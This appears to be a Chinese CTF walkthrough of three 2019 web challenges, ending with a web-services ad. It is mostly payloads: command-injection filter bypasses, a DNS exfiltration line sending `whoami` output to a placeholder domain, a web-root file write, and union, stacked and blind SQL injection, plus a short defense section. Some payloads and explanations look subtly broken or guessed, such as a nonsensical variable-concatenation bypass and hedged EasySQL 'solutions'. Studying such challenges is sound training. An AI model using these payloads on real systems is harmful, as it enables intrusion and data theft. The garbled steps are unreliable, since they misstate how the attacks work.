☰
CTF Web安全实战:命令注入与SQL注入深度解析
2026/10/31 6:20:47 网站建设 项目流程

1. 题目背景与核心考察点解析

这三道CTF题目分别来自2019年GXYCTF、SUCTF和极客大挑战赛事,虽然表面看起来都是Web安全题目,但各自考察的技术点有显著差异。我们先从每道题目的基本场景入手:

1.1 [GXYCTF2019]Ping Ping Ping

这道题目的核心是命令注入漏洞。题目提供了一个类似ping功能的服务端接口,但考察点远不止简单的命令执行。根据题目名称和热词分析,我们需要重点关注:

  • Linux管道符的多种使用方式(|、||、&、&&等)
  • 空格和特殊字符的绕过技巧
  • 环境变量拼接执行的手法
  • 无回显情况下的盲注技术

1.2 [SUCTF 2019]EasySQL

这道SQL注入题目看似简单,实则暗藏玄机。从热词和已有资料来看,题目可能涉及:

  • 非常规的SQL注入姿势
  • 堆叠查询(Stacked Queries)的利用
  • 后端过滤机制的绕过
  • 服务器配置差异导致的注入差异

1.3 [极客大挑战 2019]LoveSQL

典型的SQL注入题目,但考察点更加全面:

  • 联合查询注入的完整流程
  • 信息收集与数据库结构分析
  • 盲注与时间盲注的实战应用
  • WAF绕过与特殊字符处理

2. [GXYCTF2019]Ping Ping Ping 深度解析

2.1 初始测试与信息收集

首先我们尝试基本的ping功能:

?ip=127.0.0.1

返回正常ping结果,说明服务正常运行。

尝试命令注入:

?ip=127.0.0.1;ls

发现返回被拦截,说明存在基础过滤。

2.2 过滤机制分析与绕过

经过测试发现以下特征:

  1. 空格被过滤 → 使用${IFS}代替
  2. 分号被过滤 → 使用%0a(换行)或%0d(回车)代替
  3. 关键词过滤 → 使用变量拼接或编码绕过

有效payload示例:

?ip=127.0.0.1%0als

或使用变量拼接:

?ip=127.0.0.1;a=g;b=et;c=fla$b$c

2.3 无回显情况下的利用

当命令执行但无回显时,可以采用以下方法:

  1. DNS外带数据:
?ip=127.0.0.1;curl${IFS}`whoami`.yourdomain.com
  1. 延时判断:
?ip=127.0.0.1;sleep${IFS}5
  1. 写入web目录再访问:
?ip=127.0.0.1;echo${IFS}data${IFS}>/var/www/html/tmp.txt

2.4 最终flag获取

通过逐步探测,发现flag位于当前目录:

?ip=127.0.0.1;cat${IFS}fla*

成功获取flag。

3. [SUCTF 2019]EasySQL 实战突破

3.1 基础注入测试

尝试常规注入:

1' or 1=1--

发现返回异常,说明存在特殊过滤。

3.2 堆叠查询利用

测试发现支持堆叠查询:

1;show databases--

成功返回数据库列表,确认堆叠查询可用。

3.3 非预期解与预期解分析

根据题目名称"EasySQL",可能存在非预期解:

1;set sql_mode=PIPES_AS_CONCAT;select 1

通过修改SQL模式实现注入。

预期解可能需要利用:

1;handler table open;handler table read first

这种不常见的SQL语句。

3.4 完整利用链构建

最终payload结构:

1;set sql_mode=PIPES_AS_CONCAT;select flag from flag

通过修改SQL模式使||变为字符串连接符而非逻辑或。

4. [极客大挑战 2019]LoveSQL 系统化解题

4.1 注入点识别与基础测试

测试登录框:

admin' and 1=1-- admin' and 1=2--

确认存在布尔型注入。

4.2 联合查询注入完整流程

  1. 确定列数:
admin' order by 3--
  1. 获取数据库信息:
admin' union select 1,database(),3--
  1. 获取表名:
admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
  1. 获取列名:
admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--
  1. 获取数据:
admin' union select 1,flag,3 from flag--

4.3 盲注技术应用

当联合查询不可用时,使用盲注:

admin' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--

通过响应时间判断条件真假。

5. 防御方案与安全建议

5.1 命令注入防御

  1. 使用白名单验证输入:
import re if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip): return "Invalid IP"
  1. 使用安全API替代系统命令:
import ping3 ping3.ping(ip)

5.2 SQL注入防御

  1. 使用预编译语句:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
  1. 最小权限原则:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.* TO 'webuser'@'localhost';

5.3 WAF规则配置示例

Nginx配置片段:

location / { set $block_sql_inject 0; if ($query_string ~ "union.*select.*\(") { set $block_sql_inject 1; } if ($block_sql_inject = 1) { return 403; } }

6. 拓展思考与技巧总结

6.1 命令注入的非常规绕过

  1. 利用环境变量:
${PATH:0:1} 代替 /
  1. 使用大括号扩展:
{cat,flag.txt}
  1. 利用引号特性:
c'a't fl''ag

6.2 SQL注入的进阶技巧

  1. 利用注释绕过:
/*!50000select*/ 1
  1. 使用hex编码:
0x61646D696E
  1. 利用位运算:
1^1 代替 0

6.3 CTF解题通用思路

  1. 信息收集永远是第一步
  2. 先测试最基础的payload
  3. 观察过滤规律再设计绕过
  4. 多尝试非常规的语法特性
  5. 善用报错信息获取线索

在实际渗透测试中,这些CTF题目的解法虽然不能直接套用,但其中的思路和技巧对于理解Web安全原理、培养安全思维非常有帮助。建议在解题后,尝试自己搭建类似环境,从防御角度思考如何真正保护系统安全。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询